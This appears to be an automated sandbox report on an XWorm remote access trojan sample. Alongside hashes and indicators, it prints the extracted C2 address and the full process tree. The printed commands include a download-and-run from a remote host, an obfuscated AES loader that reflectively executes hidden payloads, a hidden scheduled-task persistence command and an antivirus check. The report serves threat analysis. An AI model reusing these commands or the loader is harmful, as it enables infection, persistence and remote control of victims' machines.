xworm | ce5767c3672d7f235fdfc357649d4b3e148a5568cbb7905f54c0e2ad0723f1b9

Resubmissions

22/04/2026, 18:06

260422-wpzz5shx4s10

22/04/2026, 12:02

260422-n7f1zsay718

22/04/2026, 10:36

260422-mnpy4sds2k10

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/04/2026, 10:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.ps1
Size 211B
Sample260422-mnpy4sds2k
SHA256 ce5767c3672d7f235fdfc357649d4b3e148a5568cbb7905f54c0e2ad0723f1b9
MD5 d39468a5067764feafff60fceab94736
SHA1 592400cd4fc37873ce9c91aa296b4574f2c33d4a
SHA512 1a93f7965f4ee22c55087000e7376652462145f5a8d139fddfe1e385682a39fbe7bfa7a304dd3e5cccfc3f4dc1d09cea01e84e27149ae79e4fc1cf4e94e428c9
TLSH
T1B0D0A772C22431AAD6B58D9D9182D3026A97F01C928A155521555C00AD41376819E494
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.5 by c3lestial.fun

185.242.3.160:25565

Mutex

Sb9o751biNXpevGH

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2004-75-0x0000021940000000-0x000002194000E000-memory.dmp	family_xworm

Badlisted process makes network request 15 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4648	powershell.exe
10	2004	powershell.exe
24	2004	powershell.exe
31	2004	powershell.exe
34	2004	powershell.exe
39	2004	powershell.exe
40	2004	powershell.exe
41	2004	powershell.exe
42	2004	powershell.exe
52	2004	powershell.exe
53	2004	powershell.exe
54	2004	powershell.exe
55	2004	powershell.exe
56	2004	powershell.exe
57	2004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1740	powershell.exe
2304	powershell.exe
3508	powershell.exe
2356	powershell.exe
4648	powershell.exe
2004	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1740	powershell.exe
1740	powershell.exe
4648	powershell.exe
4648	powershell.exe
2304	powershell.exe
2304	powershell.exe
2004	powershell.exe
2004	powershell.exe
2356	powershell.exe
3508	powershell.exe
2356	powershell.exe
3508	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe
Token: 35	2304	powershell.exe
Token: 36	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe
Token: 35	2304	powershell.exe
Token: 36	2304	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe
Token: SeProfSingleProcessPrivilege	3508	powershell.exe
Token: SeIncBasePriorityPrivilege	3508	powershell.exe
Token: SeCreatePagefilePrivilege	3508	powershell.exe
Token: SeBackupPrivilege	3508	powershell.exe
Token: SeRestorePrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeSystemEnvironmentPrivilege	3508	powershell.exe
Token: SeRemoteShutdownPrivilege	3508	powershell.exe
Token: SeUndockPrivilege	3508	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 4648	1740	powershell.exe	86
PID 4648 wrote to memory of 4828	4648	powershell.exe	89
PID 4828 wrote to memory of 2304	4828	cmd.exe	90
PID 4828 wrote to memory of 2004	4828	cmd.exe	92
PID 2004 wrote to memory of 3508	2004	powershell.exe	93
PID 2004 wrote to memory of 2356	2004	powershell.exe	94

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -WindowStyle Hidden -c iwr https://zvdffdvvdfz.cc/da.ps1 -out C:\Users\Admin\AppData\Local\Temp\\dl.ps1; & C:\Users\Admin\AppData\Local\Temp\\dl.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WD.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoLogo -NoProfile -Command "if((Get-CimInstance Win32_VideoController | Where-Object {$_.Name -like '*Microsoft Remote Display Adapter*'}) -or ([math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1GB) -lt 3)){exit 1}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      \Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -ep bypass -command $gZWkI=''; $YlTst=''; $IFmOm=''; $fTIEW=''; $BbtvD=''; function XapNLftP($param_var){$aes_var=[System.Security.Cryptography.SymmetricAlgorithm]::Create('AES');$aes_var.Mode=1;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$magic=([char[]](70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)-join'');$aes_var.Key=[Convert]::$magic('JKyYjo8q3V7cdH/SWnwhc4cQgIt9lFtZsS9HycadCNo=');$aes_var.IV=[Convert]::$magic('DSSPlT0DQiQ5nqD/jho01Q==');$decryptor_var=$aes_var.CreateDecryptor();$return_var=$decryptor_var.TransformFinalBlock($param_var,0,$param_var.Length);$decryptor_var.Dispose();$aes_var.Dispose();$return_var;}function FxkubKmf($param_var,$param2_var){$magic2=([char[]](73,110,118,111,107,101)-join'');$sWaLGGEytX=[System.Reflection.Assembly]::Load([byte[]]$param_var);$ByXNdFqfpm=$sWaLGGEytX.EntryPoint;$ByXNdFqfpm.$magic2($null,$param2_var);}$laAHfGIxFy='C:\Users\Admin\AppData\Local\Temp\WD.bat';$host.UI.RawUI.WindowTitle=$laAHfGIxFy;$SmjnGbODRH=(Get-Content $laAHfGIxFy -Raw)-split[Environment]::NewLine;foreach($AuLlSUnYKG in $SmjnGbODRH){if($AuLlSUnYKG.StartsWith(':: ')){$lrHLGiesLb=$AuLlSUnYKG.Substring(3);break;}}$payloads_var=$lrHLGiesLb-split'\\';$magic=([char[]](70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103)-join'');$payload1_var=XapNLftP([Convert]::$magic($payloads_var[0]));FxkubKmf $payload1_var $null;$payload2_var=XapNLftP([Convert]::$magic($payloads_var[1]));FxkubKmf $payload2_var (,[string[]](''));
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $Action = New-ScheduledTaskAction -Execute 'conhost.exe' -Argument '--headless " powershell -NoProfile -WindowStyle Hidden -c \"iex([System.Environment]::GetEnvironmentVariable(''FZJX''))\""'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0; Register-ScheduledTask -TaskName 'MiscrosoftUpdater' -Action $Action -Trigger $Trigger -Settings $Settings -RunLevel Highest -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -w hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | Select-Object -ExpandProperty displayName"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 37ba49120bfc0af93b9493213cbc8dab93a74b6819e5b542057dee047f43917a
MD5 76ed5060836b0b1e668546ade74c7358
SHA1 356e2fa2cda71090706486a53fe1f4eaf567bcc8
SHA512 58e4f1a4c0834aa7983275b4a343661edb69d29ea6edabb22172b93fc050659073bac8a91f8d7a3013befb73f7162af21df3f789f028aa2668bd81172105f1ea
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8bfb5fab88fe830d8afccad0f21429872152c99db9558fbae836585cf35e18ab
MD5 64279fe9334e41a53c2c2f7d8d54e74c
SHA1 b34c6930f724c1b97be5c6260b3096b616906fd2
SHA512 315f0974b7ba4067ae14df88fc5cb53778910d6956e30565122770593e9c0e163873c44dd975404d1dd3767da5693ad51c99da8b68fdfe34a069519d59040e24
TLSH
T177216527B39CC8A2CC89213A109CAC1132B782C7409ECFCF2BC4C224A17FAC8CB71250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 104B
SHA256 6129aa5d757a22ba687a7b38cace27b21017fcb6b45e246d1377794f1298acb5
MD5 ca9cc3da23aaf9976f1356e8022ec377
SHA1 6fb021c35f3f45da110dc110bf863d9284a3b645
SHA512 ae3b32b0d37c119a6ee48a8b0a2c93404acd2083278669c99b5b93298ac53b5377a7ee60183fdc0d8ccffa7d6c1d4d4fab5865c9a4fcac8b7ce8940989514b28
TLSH
T1F5B00248E5259420E4340276D44D066717716602510A5E2532A54219D9B3690B7023C4
MD5 SHA1 SHA512 TLSH

Submit Download

WD.bat

Path C:\Users\Admin\AppData\Local\Temp\WD.bat
Size 11.4MB
SHA256 6e778530b95b0b73519f1139836b23b89d80ca9012bd7f11faf0124d2a5d6446
MD5 f1b3fe8ecb76479c2c715c4ae8306f41
SHA1 db91056cd275e06f2b868f43676bd10717422d72
SHA512 285d0811bbe6a14a5691ed15222c75338709e28f7a59e6d0b1cc4904726879b624c57c51d2e91b666f352aad4aad2166bdac19a0eeca7035acaead77f8a7c223
SSDEEP 49152:RiX+hWKcz/3T135vxzz8zWWMXqNmXsCUifkk/XAEbtGnjjYL3not3SbHAHDJEzhS:e4
TLSH
T169C633375F7D7EB80A58D229F1BF5E1E07604AC948ADA4E706E228CB1A0FB0355674B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_shbgbqc5.30o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shbgbqc5.30o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1740-0-0x00000190184F0000-0x0000019018500000-memory.dmp

Download

memory/1740-7-0x00000190184C0000-0x00000190184E2000-memory.dmp

Download

memory/1740-12-0x0000019016B90000-0x0000019016B9C000-memory.dmp

Download

memory/1740-1-0x00000190184F0000-0x0000019018500000-memory.dmp

Download

memory/2004-55-0x000002197E640000-0x000002197EA84000-memory.dmp

Download

memory/2004-54-0x000002197E0E0000-0x000002197E4AC000-memory.dmp

Download

memory/2004-77-0x000002197D9F0000-0x000002197D9FC000-memory.dmp

Download

memory/2004-75-0x0000021940000000-0x000002194000E000-memory.dmp

Download

memory/2304-42-0x000001F5DFF60000-0x000001F5DFF84000-memory.dmp

Download

memory/2304-44-0x000001F5C7B50000-0x000001F5C7B5C000-memory.dmp

Download

memory/2304-41-0x000001F5DFF60000-0x000001F5DFF8A000-memory.dmp

Download

memory/2356-71-0x0000028424410000-0x000002842441C000-memory.dmp

Download

memory/3508-74-0x000002C87ACF0000-0x000002C87ACFC000-memory.dmp

Download

memory/4648-28-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

Download

memory/4648-30-0x0000018C697C0000-0x0000018C697CC000-memory.dmp

Download

memory/4648-16-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

Download

memory/4648-17-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

Download

memory/4648-29-0x0000018C6B710000-0x0000018C6B720000-memory.dmp

Download